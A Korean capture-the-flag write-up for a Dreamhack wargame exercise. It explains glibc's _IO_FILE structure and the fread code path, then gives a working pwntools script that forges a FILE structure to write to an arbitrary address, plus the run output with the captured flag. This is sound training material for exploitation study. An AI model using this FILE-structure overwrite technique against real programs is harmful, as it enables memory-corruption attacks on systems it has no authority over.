dreamhack - _IO_FILE Arbitrary Address Write writeup
[dreamhack] _IO_FILE Arbitrary Address Write writeup
1. 문제

Exploit Tech: _IO_FILE Arbitrary Address Write에서 실습하는 문제입니다.
https://dreamhack.io/wargame/challenges/3672. 풀이
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char flag_buf[1024];
int overwrite_me;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_flag() {
FILE *fp;
fp = fopen("/home/iofile_aaw/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
write(1, flag_buf, sizeof(flag_buf));
fclose(fp);
}
int main() {
FILE *fp;
char file_buf[1024];
init();
fp = fopen("/etc/issue", "r");
printf("Data: ");
read(0, fp, 300);
fread(file_buf, 1, sizeof(file_buf)-1, fp);
printf("%s", file_buf);
if( overwrite_me == 0xDEADBEEF)
read_flag();
fclose(fp);
}
fopen
함수를 통해 /etc/issue
를 연다. 그리고 fp
파일포인터에 데이터를 쓰고, fp
로부터 file_buf
크기만큼 읽어서 출력한다.
마지막으로 overwrite_me
에 저장된 값이 0xDEADBEEF
이면 flag
를 출력한다.
처음 봤을때 이게 뭐지싶었는데, _IO_FILE
구조체에 대해서 알게 되었다.
2.1. _IO_FILE 구조체
struct _IO_FILE {
int _flags; // 스트림 상태 플래그 (e.g., 읽기/쓰기 모드, EOF 등)
char *_IO_read_ptr; // 현재 읽기 포인터 (fread 등에서 현재 위치)
char *_IO_read_end; // 읽기 가능한 끝 위치
char *_IO_read_base; // 읽기 버퍼의 시작 위치
char *_IO_write_base; // 쓰기 버퍼의 시작 위치
char *_IO_write_ptr; // 현재 쓰기 포인터
char *_IO_write_end; // 쓰기 가능한 끝 위치
char *_IO_buf_base; // I/O 버퍼의 시작 주소 (읽기/쓰기 공용)
char *_IO_buf_end; // I/O 버퍼의 끝 주소
char *_IO_save_base; // 백업된 읽기 위치 (ungetc 등에서 사용)
char *_IO_backup_base; // 백업된 읽기 버퍼의 시작
char *_IO_save_end; // 백업된 읽기 버퍼의 끝
struct _IO_marker *_markers; // 마커 리스트 (fgetpos 등에서 사용)
struct _IO_FILE *_chain; // 다음 FILE 구조체 (FILE 리스트용)
int _fileno; // 파일 디스크립터 (e.g., stdin = 0, stdout = 1)
// ....
2.2. fread 함수
fread
함수는 라이브러리 내부에서 _IO_file_xsgetn
함수를 호출한다.
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
_char *s = data;
want = n;
...
/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
...
}
조건문에서 인자로 전달된 n
이 fp->_IO_buf_end - fp->_IO_buf_base
보다 작은지를 검사한다. 이때 n
은 입력할 크기로 전달된 size이다.
이후 __underflow()
함수가 실행되면서 _IO_new_file_underflow()
함수를 아래와 같이 실행한다.
int _IO_new_file_underflow (FILE *fp)
{
ssize_t count;
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
...
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
}
여기서는 fp->_flags
변수에 읽기 권한이 있는지를 확인한다.
이후 _IO_SYSREAD
함수가 실행되면서 _IO_file_read
함수가 실행된다.
_IO_ssize_t
_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
? __read_nocancel (fp->_fileno, buf, size)
: __read (fp->_fileno, buf, size));
}
여기서 이제 read
시스템 콜을 통해 데이터를 읽게된다. 결국 최종 시스템콜에 들어가는 변수는 아래와 같다.
read(fp->_fileno, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);
따라서 fread
함수가 실행되면 아래와 같은 흐름이 된다.
- 1.
fp
가 가리키는_IO_FILE
구조체 내의 정보를 확인-
_fileno
: 파일 디스크립터 -
_IO_buf_base
: 내부 버퍼 시작 주소.read
시스템 콜이 실행되면 이 위치에 내부 버퍼를 먼저 채운 다음, 코드에서 지정된 위치로 복사된다. -
_IO_buf_end
: 내부 버퍼 끝 주소 -
_flags
: 파일 스트림의 다양한 상태와 속성을 나타내는 플래그들의 집합.-
0xfbad0000
:glibc
가 해당_IO_FILE
객체가 유효한 스트림이라고 인식하기 위해 필요한 매직넘버. 뒷부분의0000
을 조작하여 읽기전용, 쓰기 전용, 버퍼링 방식 등의 정보를 담는다.
-
-
- 2.
read
시스템콜을 통해 내부 버퍼를 채움 - 3. 내부 버퍼에서
fread
함수의 첫번째 인자로 주어진ptr
로 데이터를 복사
2.3. 시나리오
결국 fp
구조체를 우리가 수정하면 overwrite_me
를 내부 버퍼로 삼을 수 있고, fread
가 실행되면 해당 위치에 stdin
으로 입력하는 데이터가 쓰여질 것이다.
따라서 _IO_buf_base
를 overwrite_me
의 주소로, _IO_buf_end
를 overwrite_me + 1024
로 조작하면되는데, 이때 1024를 더해주는 이유는 위의 _IO_file_xgetn
함수에서 아래 조건문을 통과해야하기 때문이다.
want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)
여기서 want
가 fread
로부터 넘어온 size
인데 1023이므로 이것보다 큰 값이 들어가야한다.
이렇게 파일 구조체를 조작한 후에 0xdeadbeef
를 포함한 데이터를 입력한 1024만큼 보내주면 read_flag
함수가 실행된다.
from pwn import *
#p = process("./iofile_aaw")
p = remote("host3.dreamhack.games", 20067)
elf = ELF("./iofile_aaw")
fake_iofile = p64(0xfbad0000) # _flags
fake_iofile += p64(0) # _IO_read_ptr
fake_iofile += p64(0) # _IO_read_end
fake_iofile += p64(0) # _IO_read_base
fake_iofile += p64(0) # _IO_write_base
fake_iofile += p64(0) # _IO_write_ptr
fake_iofile += p64(0) # _IO_write_end
fake_iofile += p64(elf.symbols["overwrite_me"]) # _IO_buf_base
fake_iofile += p64(elf.symbols["overwrite_me"] + 1024) # _IO_buf_end
fake_iofile += p64(0) # _IO_save_base
fake_iofile += p64(0) # _IO_backup_base
fake_iofile += p64(0) # _IO_save_end
fake_iofile += p64(0) # _IO_marker *_markers
fake_iofile += p64(0) # _IO_FILE *_chain
fake_iofile += p64(0) # _fileno
p.sendafter(b"Data: ", fake_iofile)
sleep(1)
p.send(p64(0xDEADBEEF) + b"\x00" * 1024)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/_IO_FILE_arbitrary_address_write$ python3 e_io_file_aaw.py
[+] Opening connection to host3.dreamhack.games on port 20067: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/_IO_FILE_arbitrary_address_write/iofile_aaw'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] Switching to interactive mode
ᆳ\xdeDH{1d60f1036d33746327c204ddb96e2dc7c79a0fcfbc7206e0716abcbb4a326c3c}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
해결~